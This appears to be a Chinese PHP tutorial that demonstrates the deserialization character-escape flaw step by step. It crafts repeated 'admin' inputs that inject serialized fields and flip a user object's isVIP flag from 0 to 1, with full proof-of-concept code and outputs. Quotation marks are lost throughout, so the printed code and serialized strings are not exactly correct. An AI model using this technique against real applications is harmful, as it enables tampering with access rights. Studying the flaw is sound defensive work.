PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user
类,然后里面一共有3个成员变量:username
、password
、isVIP
。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到当这个类被初始化的时候,isVIP
变量默认是0
,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } $a = new user(admin,123456); $a_seri = serialize($a); echo $a_seri; ?>
这一段程序的输出结果如下:
O:4:user:3:{s:8:username;s:5:admin;s:8:password;s:6:123456;s:5:isVIP;i:0;}
可以看到,对象序列化之后的isVIP
变量是0
。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){ return str_replace(admin,hacker,$s); }
因此整段程序如下:
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hacker,$s); } $a = new user(admin,123456); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
这一段程序的输出为:
O:4:user:3:{s:8:username;s:5:hacker;s:8:password;s:6:123456;s:5:isVIP;i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:user:3:{s:8:username;s:5:admin;s:8:password;s:6:123456;s:5:isVIP;i:0;} //未过滤 O:4:user:3:{s:8:username;s:5:hacker;s:8:password;s:6:123456;s:5:isVIP;i:0;} //已过滤
可以看到已过滤字符串中的hacker
与前面的字符长度不对应了
s:5:admin; s:5:hacker;
在这个时候,对于我们,在新建对象的时候,传入的admin
就是我们的可控变量
接下来明确我们的目标:将isVIP
变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
;s:8:password;s:6:123456;s:5:isVIP;i:0;} //现有子串 ;s:8:password;s:6:123456;s:5:isVIP;i:1;} //目标子串
也就是说,我们要在admin
这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
;s:8:password;s:6:123456;s:5:isVIP;i:1;} //以上字符串的长度为47
因为我们需要逃逸的字符串长度为47
,并且admin
每次过滤之后都会变成hacker
,也就是说每出现一次admin
,就会多1
个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin;s:8:password;s:6:123456;s:5:isVIP;i:1;}
完整代码如下:
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hacker,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin;s:8:password;s:6:123456;s:5:isVIP;i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
程序输出结果为:
O:4:user:3:{s:8:username;s:282:hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker;s:8:password;s:6:123456;s:5:isVIP;i:1;};s:8:password;s:6:123456;s:5:isVIP;i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hacker,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin;s:8:password;s:6:123456;s:5:isVIP;i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
程序输出如下:
object(user)#2 (3) { [username]=> string(282) hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker [password]=> string(6) 123456 [isVIP]=> int(1) }
可以看到这个时候,isVIP
这个变量就变成了1
,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hack,$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
得到结果:
O:4:user:3:{s:8:username;s:5:hack;s:8:password;s:6:123456;s:5:isVIP;i:0;}
同样比较一下现有子串和目标子串:
;s:8:password;s:6:123456;s:5:isVIP;i:0;} //现有子串 ;s:8:password;s:6:123456;s:5:isVIP;i:1;} //目标子串
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
;s:8:password;s:6:123456;s:5:isVIP;i:1;} //目标子串 //长度为47
再计算一下到下一个可控变量的字符串长度:
;s:8:password;s:6: //长度为22
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hack,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出结果:
注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:user:3:{s:8:username;s:105:hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack;s:8:password;s:6:123456;s:5:isVIP;i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack;s:8:password;s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
;s:8:password;s:6:123456;s:5:isVIP;i:1;} //目标子串
完整代码为:
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hack,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin',';s:8:password;s:6:123456;s:5:isVIP;i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出:
O:4:user:3:{s:8:username;s:105:hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack;s:8:password;s:47:;s:8:password;s:6:123456;s:5:isVIP;i:1;};s:5:isVIP;i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hack,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin',';s:8:password;s:6:123456;s:5:isVIP;i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出结果为:
O:4:user:3:{s:8:username;s:115:hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack;s:8:password;s:47:;s:8:password;s:6:123456;s:5:isVIP;i:1;};s:5:isVIP;i:0;}
分析一下输出结果:
可以看到,这一下就对了。
<?PHP class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace(admin,hack,$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin',';s:8:password;s:6:123456;s:5:isVIP;i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
得到结果:
object(user)#2 (3) { [username]=> string(115) hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack;s:8:password;s:47: [password]=> string(6) 123456 [isVIP]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP教程》
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。